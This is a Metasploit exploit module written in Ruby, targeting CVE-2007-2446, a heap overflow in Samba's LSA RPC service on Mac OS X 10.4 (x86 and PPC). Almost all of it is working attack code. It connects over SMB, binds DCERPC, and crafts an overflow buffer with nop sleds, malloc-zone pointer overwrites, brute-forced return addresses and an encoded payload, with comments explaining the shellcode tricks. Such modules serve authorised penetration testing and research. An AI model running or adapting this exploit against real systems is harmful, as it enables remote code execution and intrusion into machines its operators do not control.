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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = AverageRanking
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  include Msf::Exploit::Remote::DCERPC
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  include Msf::Exploit::Remote::SMB::Client
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  include Msf::Exploit::Brute
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'Samba lsa_io_trans_names Heap Overflow',
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      'Description'    => %q{
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        This module triggers a heap overflow in the LSA RPC service
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      of the Samba daemon. This module uses the szone_free() to overwrite
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      the size() or free() pointer in initial_malloc_zones structure.
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      },
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      'Author'         =>
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        [
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          'Ramon de C Valle',
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          'Adriano Lima <adriano[at]risesecurity.org>',
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          'hdm'
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        ],
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      'License'        => MSF_LICENSE,
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      'References'     =>
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        [
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          ['CVE', '2007-2446'],
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          ['OSVDB', '34699'],
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        ],
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      'Privileged'     => true,
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      'Payload'        =>
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        {
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          'Space'    => 1024,
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        },
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      'Platform'       => 'osx',
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      'DefaultOptions' =>
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        {
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          'PrependSetresuid' => true,
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        },
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      'Targets'        =>
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        [
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          ['Mac OS X 10.4.x x86 Samba 3.0.10',
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          {
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            'Platform'      => 'osx',
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            'Arch'          => [ ARCH_X86 ],
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            'Nops'          => 4 * 1024,
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            'Bruteforce' =>
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              {
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                'Start' => { 'Ret' => 0x01818000 },
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                'Stop'  => { 'Ret' => 0x01830000 },
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                'Step'  => 3351,
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              },
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          }
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          ],
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          ['Mac OS X 10.4.x PPC Samba 3.0.10',
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          {
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            'Platform'      => 'osx',
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            'Arch'          => [ ARCH_PPC ],
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            'Nops'          => 1600,
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            'Bruteforce' =>
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              {
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                'Start' => { 'Ret' => 0x01813000 },
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                'Stop'  => { 'Ret' => 0x01830000 },
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                'Step'  => 796,
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              }
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          }
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          ],
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          ['DEBUG',
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          {
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            'Platform'      => 'osx',
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            'Arch'          => [ ARCH_X86 ],
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            'Nops'          => 4 * 1024,
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            'Bruteforce' =>
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              {
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                'Start' => { 'Ret' => 0xaabbccdd },
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                'Stop'  => { 'Ret' => 0xaabbccdd },
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                'Step'  => 0,
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              }
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          }
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          ],
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        ],
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      'DisclosureDate' => '2007-05-14'
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      ))
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    register_options(
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      [
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        OptString.new('SMBPIPE', [ true,  "The pipe name to use", 'LSARPC']),
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      ])
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  end
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  # Handle a strange byteswapping issue on PPC
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  def ppc_byteswap(addr)
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    data = [addr].pack('N')
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    (data[1,1] + data[0,1] + data[3,1] + data[2,1]).unpack('N')[0]
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  end
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  def brute_exploit(target_addrs)
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    if(not @nops)
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      if (target['Nops'] > 0)
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        print_status("Creating nop sled....")
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        @nops = make_nops(target['Nops'])
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      else
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        @nops = ''
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      end
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    end
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    print_status("Trying to exploit Samba with address 0x%.8x..." % target_addrs['Ret'])
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    pipe = datastore['SMBPIPE'].downcase
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    print_status("Connecting to the SMB service...")
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    connect()
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    smb_login()
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    datastore['DCERPC::fake_bind_multi'] = false
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    handle = dcerpc_handle('12345778-1234-abcd-ef00-0123456789ab', '0.0', 'ncacn_np', ["\\#{pipe}"])
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    print_status("Binding to #{handle} ...")
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    dcerpc_bind(handle)
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    print_status("Bound to #{handle} ...")
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    num_entries  = 256
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    num_entries2 = 257
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    #
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    # First talloc_chunk
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    # 16 bits align
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    # 16 bits sid_name_use
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    #     16 bits uni_str_len
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    #     16 bits uni_max_len
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    #     32 bits buffer
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    # 32 bits domain_idx
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    #
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    buf = (('A' * 16) * num_entries)
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    # Padding
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    buf << 'A' * 4
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    #
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    # Use the szone_free() to overwrite the size() pointer in
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    # initial_malloc_zones structure.
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    #
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    size_pointer = 0x1800008
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    # Initial nops array
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    nops = ''
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    # x86
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    if (target.arch.include?(ARCH_X86))
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      #
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      # We don't use the size() pointer anymore because it
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      # results in a unexpected behavior when smbd process
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      # is started by launchd.
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      #
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      free_pointer = 0x1800018
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      nop = "\x16"
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      #
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      # First talloc_chunk
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      # 16 bits align
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      # 16 bits sid_name_use
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      #     16 bits uni_str_len
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      #     16 bits uni_max_len
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      #     32 bits buffer
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      # 32 bits domain_idx
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      #
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      # First nop block
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      buf = ((nop * 16) * num_entries)
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      #
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      # A nop block of 0x16 (pushl %ss) and the address of
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      # 0x1800014 results in a jns instruction which when
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      # executed will jump over the address written eight
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      # bytes past our target address by szone_free() (the
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      # sign flag is zero at the moment our target address is
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      # executed).
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      #
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      # 0x357b ^ ( 0x1800014 ^ 0x16161616 ) = 0x17962379
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      #
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      # This is the output of the sequence of xor operations
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      #   0:   79 23                   jns    0x25
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      #   2:   96                      xchgl  %eax,%esi
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      #   3:   17                      popl   %ss
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      #   4:   16                      pushl  %ss
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      #   5:   16                      pushl  %ss
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      #   6:   16                      pushl  %ss
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      #   7:   16                      pushl  %ss
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      #   8:   14 00                   adcb   $0x0,%al
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      #   a:   80 01 16                addb   $0x16,(%ecx)
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      #
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      # This jump is needed because the ecx register does not
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      # point to a valid memory location in free() context
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      # (it is zero).
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      #
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      # The jump will hit our nop block which will be executed
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      # until it reaches the payload.
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      #
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      # Padding nops
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      buf << nop * 2
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      # Jump over the pointers
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      buf << "\xeb\x08"
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      # Pointers
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      buf << [target_addrs['Ret']].pack('V')
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      buf << [free_pointer - 4].pack('V')
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      #
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      # We expect to hit this nop block or the one before
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      # the pointers.
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      #
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      buf << nop * (3852 - 8 - payload.encoded.length)
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      # Payload
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      buf << payload.encoded
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      # Padding nops
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      buf << nop * 1024
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      stub = lsa_open_policy(dcerpc)
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      stub << NDR.long(0)            # num_entries
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      stub << NDR.long(0)            # ptr_sid_enum
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      stub << NDR.long(num_entries)  # num_entries
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      stub << NDR.long(0x20004)      # ptr_trans_names
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      stub << NDR.long(num_entries2) # num_entries2
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      stub << buf
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    # PPC
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    else
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      #
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      #  The first half of the nop sled is an XOR encoded branch
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      #  instruction. The second half is a series of unencoded nop
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      #  instructions. The result is:
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      #
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      #  > This is the decoded branch instruction
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      #  0x181c380:      bl      0x181c6a0
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      #
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      #  > The size pointer is written below this
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      #  0x181c384:      .long 0x1800004
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      #
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      #  > Followed by the encoded branch sled
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      #  0x181c388:      ba      0x180365c
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      #  [ ... ]
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      #
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      #  > The branch lands in the normal nop sled
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      #  0x181c6a0:      andi.   r17,r16,58162
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      #  [ ... ]
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      #
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      #  > Finally we reach our payload :-)
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      #
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      size_pointer = size_pointer - 4
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      sled = target['Nops']
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      jump = [ 0x357b ^ ( size_pointer ^ (0x48000001 + sled / 2 )) ].pack('N')
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      nops = (jump * (sled / 8)) + @nops[0, sled / 8]
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      addr_size = ppc_byteswap(size_pointer)
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      addr_ret  = ppc_byteswap(target_addrs['Ret'])
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      # This oddness is required for PPC
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      buf << [addr_size].pack('N')
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      buf << [addr_ret ].pack('N')[2,2]
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      buf << [addr_ret ].pack('N')
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      # Padding
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      buf << "A" * (256 - 10)
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      stub = lsa_open_policy(dcerpc)
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      stub << NDR.long(0)            # num_entries
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      stub << NDR.long(0)            # ptr_sid_enum
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      stub << NDR.long(num_entries)  # num_entries
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      stub << NDR.long(0x20004)      # ptr_trans_names
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      stub << NDR.long(num_entries2) # num_entries2
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      stub << buf
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      stub << nops
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      stub << payload.encoded
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    end
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    print_status("Calling the vulnerable function...")
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    begin
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      # LsarLookupSids
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      dcerpc.call(0x0f, stub)
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    rescue Rex::Proto::DCERPC::Exceptions::NoResponse, Rex::Proto::SMB::Exceptions::NoReply, ::EOFError
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      print_status('Server did not respond, this is expected')
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    rescue Rex::Proto::DCERPC::Exceptions::Fault
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      print_error('Server is most likely patched...')
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    rescue => e
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      if e.to_s =~ /STATUS_PIPE_DISCONNECTED/
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        print_status('Server disconnected, this is expected')
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      else
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        print_error("Error: #{e.class}: #{e}")
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      end
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    end
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    handler
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    disconnect
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  end
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  def lsa_open_policy(dcerpc, server="\\")
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    stubdata =
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      # Server
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      NDR.uwstring(server) +
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      # Object Attributes
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        NDR.long(24) + # SIZE
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        NDR.long(0)  + # LSPTR
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        NDR.long(0)  + # NAME
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        NDR.long(0)  + # ATTRS
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        NDR.long(0)  + # SEC DES
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          # LSA QOS PTR
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          NDR.long(1)  + # Referent
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          NDR.long(12) + # Length
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          NDR.long(2)  + # Impersonation
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          NDR.long(1)  + # Context Tracking
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          NDR.long(0)  + # Effective Only
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      # Access Mask
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      NDR.long(0x02000000)
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    res = dcerpc.call(6, stubdata)
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    dcerpc.last_response.stub_data[0,20]
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  end
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end
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